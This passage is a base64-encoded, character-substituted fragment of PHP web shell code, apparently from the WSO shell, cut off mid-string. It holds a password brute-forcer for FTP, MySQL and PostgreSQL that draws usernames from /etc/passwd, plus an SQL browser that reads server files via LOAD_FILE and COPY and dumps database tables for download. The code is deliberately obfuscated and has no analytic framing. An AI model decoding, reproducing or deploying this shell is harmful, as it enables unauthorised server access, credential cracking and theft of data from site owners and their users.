X2Mybm41Y3QoJDRwLic6Jy4kcDJydD8kcDJydDpvbzBlLCAkbDJnNG4sICRwMXNzKTsgDQogICAgICAgICAgICAgICAgQG15c3FsX2NsMnM1KCRyNXMpOyANCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdwZ3NxbCcgKSB7IA0KICAgICAgICAgICAgZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7IA0KICAgICAgICAgICAgICAgICRzdHIgPSAiaDJzdD0nIi4kNHAuIicgcDJydD0nIi4kcDJydC4iJyAzczVyPSciLiRsMmc0bi4iJyBwMXNzdzJyZD0nIi4kcDFzcy4iJyBkYm4xbTU9cDJzdGdyNXMiOyANCiAgICAgICAgICAgICAgICAkcjVzID0gQHBnX2Mybm41Y3QoJHN0cik7IA0KICAgICAgICAgICAgICAgIEBwZ19jbDJzNSgkcjVzKTsgDQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgJHMzY2M1c3MgPSAwOyANCiAgICAgICAgJDF0dDVtcHRzID0gMDsgDQogICAgICAgICRzNXJ2NXIgPSA1eHBsMmQ1KCI6IiwgJF9QT1NUWydzNXJ2NXInXSk7IA0KICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXSA9PSA2KSB7IA0KICAgICAgICAgICAgJHQ1bXAgPSBAZjRsNSgnLzV0Yy9wMXNzd2QnKTsgDQogICAgICAgICAgICA0ZiggNHNfMXJyMXkoJHQ1bXApICkgDQogICAgICAgICAgICAgICAgZjJyNTFjaCgkdDVtcCAxcyAkbDRuNSkgeyANCiAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSA1eHBsMmQ1KCI6IiwgJGw0bjUpOyANCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7IA0KICAgICAgICAgICAgICAgICAgICA0ZiggYnIzdDVGMnJjNShAJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJGw0bjVbMF0sICRsNG41WzBdKSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPGJyPic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICA0ZihAJF9QT1NUWydyNXY1cnM1J10pIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyKCQ0PXN0cmw1bigkbDRuNVswXSktNjsgJDQ+PTA7IC0tJDQpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgLj0gJGw0bjVbMF1bJDRdOyANCiAgICAgICAgICAgICAgICAgICAgICAgICsrJDF0dDVtcHRzOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJHRtcCkgKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzM2NjNXNzKys7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgfSA1bHM1NGYoJF9QT1NUWyd0eXA1J10gPT0gYSkgeyANCiAgICAgICAgICAgICR0NW1wID0gQGY0bDUoJF9QT1NUWydkNGN0J10pOyANCiAgICAgICAgICAgIDRmKCA0c18xcnIxeSgkdDVtcCkgKSANCiAgICAgICAgICAgICAgICBmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7IA0KICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IHRyNG0oJGw0bjUpOyANCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7IA0KICAgICAgICAgICAgICAgICAgICA0ZiggYnIzdDVGMnJjNSgkczVydjVyWzBdLEAkczVydjVyWzZdLCAkX1BPU1RbJ2wyZzRuJ10sICRsNG41KSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICA1Y2gyICI8c3Axbj5BdHQ1bXB0czo8L3NwMW4+ICQxdHQ1bXB0cyA8c3Axbj5TM2NjNXNzOjwvc3Axbj4gJHMzY2M1c3M8L2Q0dj48YnI+IjsgDQogICAgfSANCiAgICA1Y2gyICc8aDY+RlRQIGJyM3Q1ZjJyYzU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48dDFibDU+PGYycm0gbTV0aDJkPXAyc3Q+PHRyPjx0ZD48c3Axbj5UeXA1PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48czVsNWN0IG4xbTU9cHIydDI+PDJwdDQybiB2MWwzNT1mdHA+RlRQPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1teXNxbD5NeVNxbDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9cGdzcWw+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+PC90cj48dHI+PHRkPicNCiAgICAgICAgLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnMSddKS4nIj4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnY2gxcnM1dCddKS4nIj4nDQogICAgICAgIC4nPHNwMW4+UzVydjVyOnAycnQ8L3NwMW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zNXJ2NXIgdjFsMzU9IjZhNy4wLjAuNiI+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjxzcDFuPkJyM3Q1IHR5cDU8L3NwMW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9IjYiIGNoNWNrNWQ+IC81dGMvcDFzc3dkPC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsIHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1yNXY1cnM1IHYxbDM1PTYgY2g1Y2s1ZD4gcjV2NXJzNSAobDJnNG4gLT4gbjRnMmwpPC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsPjw0bnAzdCB0eXA1PXIxZDQyIG4xbTU9dHlwNSB2MWwzNT0iYSI+IEQ0Y3Q0Mm4xcnk8L2wxYjVsPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48dDFibDUgc3R5bDU9InAxZGQ0bmctbDVmdDo2aXB4Ij48dHI+PHRkPjxzcDFuPkwyZzRuPC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9bDJnNG4gdjFsMzU9InIyMnQiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Axbj5ENGN0NDJuMXJ5PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZDRjdCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Axc3N3ZC5kNGMiPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+JzsgDQogICAgNWNoMiAnPC9kNHY+PGJyPic7IA0KICAgIHdzMkYyMnQ1cigpOyANCn0gDQogIA0KZjNuY3Q0Mm4gMWN0NDJuU3FsKCkgeyANCiAgICBjbDFzcyBEYkNsMXNzIHsgDQogICAgICAgIHYxciAkdHlwNTsgDQogICAgICAgIHYxciAkbDRuazsgDQogICAgICAgIHYxciAkcjVzOyANCiAgICAgICAgZjNuY3Q0Mm4gRGJDbDFzcygkdHlwNSkgeyANCiAgICAgICAgICAgICR0aDRzLT50eXA1ID0gJHR5cDU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBjMm5uNWN0KCRoMnN0LCAkM3M1ciwgJHAxc3MsICRkYm4xbTUpeyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgIHsgDQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7IA0KICAgICAgICAgICAgICAgICAgICA0ZighJGgyc3RbNl0pICRoMnN0WzZdPWl1b2E7IA0KICAgICAgICAgICAgICAgICAgICA0ZiggJHRoNHMtPmw0bmsgPSBAcGdfYzJubjVjdCgiaDJzdD17JGgyc3RbMF19IHAycnQ9eyRoMnN0WzZdfSAzczVyPSQzczVyIHAxc3N3MnJkPSRwMXNzIGRibjFtNT0kZGJuMW01IikgKSByNXQzcm4gdHIzNTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBzNWw1Y3RkYigkZGIpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIDRmIChAbXlzcWxfczVsNWN0X2RiKCRkYikpcjV0M3JuIHRyMzU7IA0KICAgICAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1OyANCiAgICAgICAgfSANCiAgICAgICAgZjNuY3Q0Mm4gcTM1cnkoJHN0cikgeyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgeyANCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBteXNxbF9xMzVyeSgkc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBwZ19xMzVyeSgkdGg0cy0+bDRuaywkc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBmNXRjaCgpIHsgDQogICAgICAgICAgICAkcjVzID0gZjNuY19uM21fMXJncygpP2YzbmNfZzV0XzFyZygwKTokdGg0cy0+cjVzOyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgIHsgDQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF9mNXRjaF8xc3MyYygkcjVzKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX2Y1dGNoXzFzczJjKCRyNXMpOyANCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgICAgIGYzbmN0NDJuIGw0c3REYnMoKSB7IA0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgeyANCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5xMzVyeSgiU0hPVyBkMXQxYjFzNXMiKTsgDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgZDF0bjFtNSBGUk9NIHBnX2QxdDFiMXM1IFdIRVJFIGQxdDRzdDVtcGwxdDUhPSd0JyIpOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1OyANCiAgICAgICAgfSANCiAgICAgICAgZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIFRBQkxFUycpOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoInM1bDVjdCB0MWJsNV9uMW01IGZyMm0gNG5mMnJtMXQ0Mm5fc2NoNW0xLnQxYmw1cyB3aDVyNSB0MWJsNV9zY2g1bTEgIT0gJzRuZjJybTF0NDJuX3NjaDVtMScgQU5EIHQxYmw1X3NjaDVtMSAhPSAncGdfYzF0MWwyZyciKTsgDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgICAgIGYzbmN0NDJuIDVycjJyKCkgeyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgIHsgDQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF81cnIycigpOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBwZ19sMXN0XzVycjJyKCk7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBzNXRDaDFyczV0KCRzdHIpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfczV0X2NoMXJzNXQnKSkgDQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gQG15c3FsX3M1dF9jaDFyczV0KCRzdHIsICR0aDRzLT5sNG5rKTsgDQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX3M1dF9jbDQ1bnRfNW5jMmQ0bmcoJHRoNHMtPmw0bmssICRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgICAgIGYzbmN0NDJuIGwyMWRGNGw1KCRzdHIpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+ZjV0Y2goJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLjFkZHNsMXNoNXMoJHN0cikuIicpIDFzIGY0bDUiKSk7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSB3czJhKGY0bDUgdDV4dCk7Q09QWSB3czJhIEZST00gJyIuMWRkc2wxc2g1cygkc3RyKS4iJztzNWw1Y3QgZjRsNSBmcjJtIHdzMmE7Iik7IA0KICAgICAgICAgICAgICAgICAgICAkcj0xcnIxeSgpOyANCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDQ9JHRoNHMtPmY1dGNoKCkpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHJbXSA9ICQ0WydmNGw1J107IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ2RyMnAgdDFibDUgd3MyYScpOyANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIDFycjF5KCdmNGw1Jz0+NG1wbDJkNSgiXG4iLCRyKSk7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBkM21wKCR0MWJsNSwgJGZwID0gZjFsczUpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgICRyNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0MWJsNS4nYCcpOyANCiAgICAgICAgICAgICAgICAgICAgJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMpOyANCiAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICRjcjUxdDVbNl0uIjtcbiI7IA0KICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7IA0KICAgICAgICAgICAgICAgICAgICAkaDUxZCA9IHRyMzU7IA0KICAgICAgICAgICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiTlVMTCI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0Zig0c19uM201cjRjKCR2KSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2OyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICInIi5AbXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCR2KS4iJyI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zW10gPSAiYCIuJGsuImAiOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPIGAnLiR0MWJsNS4nYCAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4iKSBWQUxVRVMgXG5cdCgiLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpJzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDUxZCkgDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICI7XG5cbiIpOyA1bHM1IDVjaDIoIjtcblxuIik7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gJy4kdDFibDUpOyANCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zID0gMXJyMXkoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYzJsM21uc1tdID0gJGs7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgfTsgDQogICAgJGRiID0gbjV3IERiQ2wxc3MoJF9QT1NUWyd0eXA1J10pOyANCiAgICA0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7IA0KICAgICAgICAkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSk7IA0KICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7IA0KICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsgDQogICAgICAgICAgICBjMXM1ICJXNG5kMndzLTZhaTYiOiAkZGItPnM1dENoMXJzNXQoJ2NwNmFpNicpOyBicjUxazsgDQogICAgICAgICAgICBjMXM1ICJVVEYtOCI6ICRkYi0+czV0Q2gxcnM1dCgnM3RmOCcpOyBicjUxazsgDQogICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOyANCiAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7IA0KICAgICAgICAgICAgYzFzNSAiY3A4ZWUiOiAkZGItPnM1dENoMXJzNXQoJ2NwOGVlJyk7IGJyNTFrOyANCiAgICAgICAgfSANCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7IA0KICAgICAgICAgICAgMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOyANCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsgDQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOyANCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikgDQogICAgICAgICAgICAgICAgJGRiLT5kM21wKCR2KTsgDQogICAgICAgICAgICA1eDR0OyANCiAgICAgICAgfSA1bHM1NGYoJGZwID0gQGYycDVuKCRfUE9TVFsnZjRsNSddLCAndycpKSB7IA0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KSANCiAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYsICRmcCk7IA0KICAgICAgICAgICAgZmNsMnM1KCRmcCk7IA0KICAgICAgICAgICAgM25zNXQoJF9QT1NUWydwYSddKTsgDQogICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PjFsNXJ0KCJFcnIyciEgQzFuXCd0IDJwNW4gZjRsNSIpO3c0bmQydy5oNHN0MnJ5LmIxY2soLTYpPC9zY3I0cHQ+Jyk7IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgIiANCiAgDQo8aDY+U3FsIGJyMndzNXI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4gDQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+IA0KPHRkPlR5cDU8L3RkPjx0ZD5IMnN0PC90ZD48dGQ+TDJnNG48L3RkPjx0ZD5QMXNzdzJyZDwvdGQ+PHRkPkQxdDFiMXM1PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4gDQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PVNxbD48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0ncTM1cnknPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBhIHYxbDM1PScnPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiInPiANCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOyANCiAgICA0ZihAJF9QT1NUWyd0eXA1J109PSdteXNxbCcpNWNoMiAnczVsNWN0NWQnOyANCjVjaDIgIj5NeVNxbDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J3Bnc3FsJyAiOyANCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7IA0KNWNoMiAiPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPiANCjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2gyc3QgdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9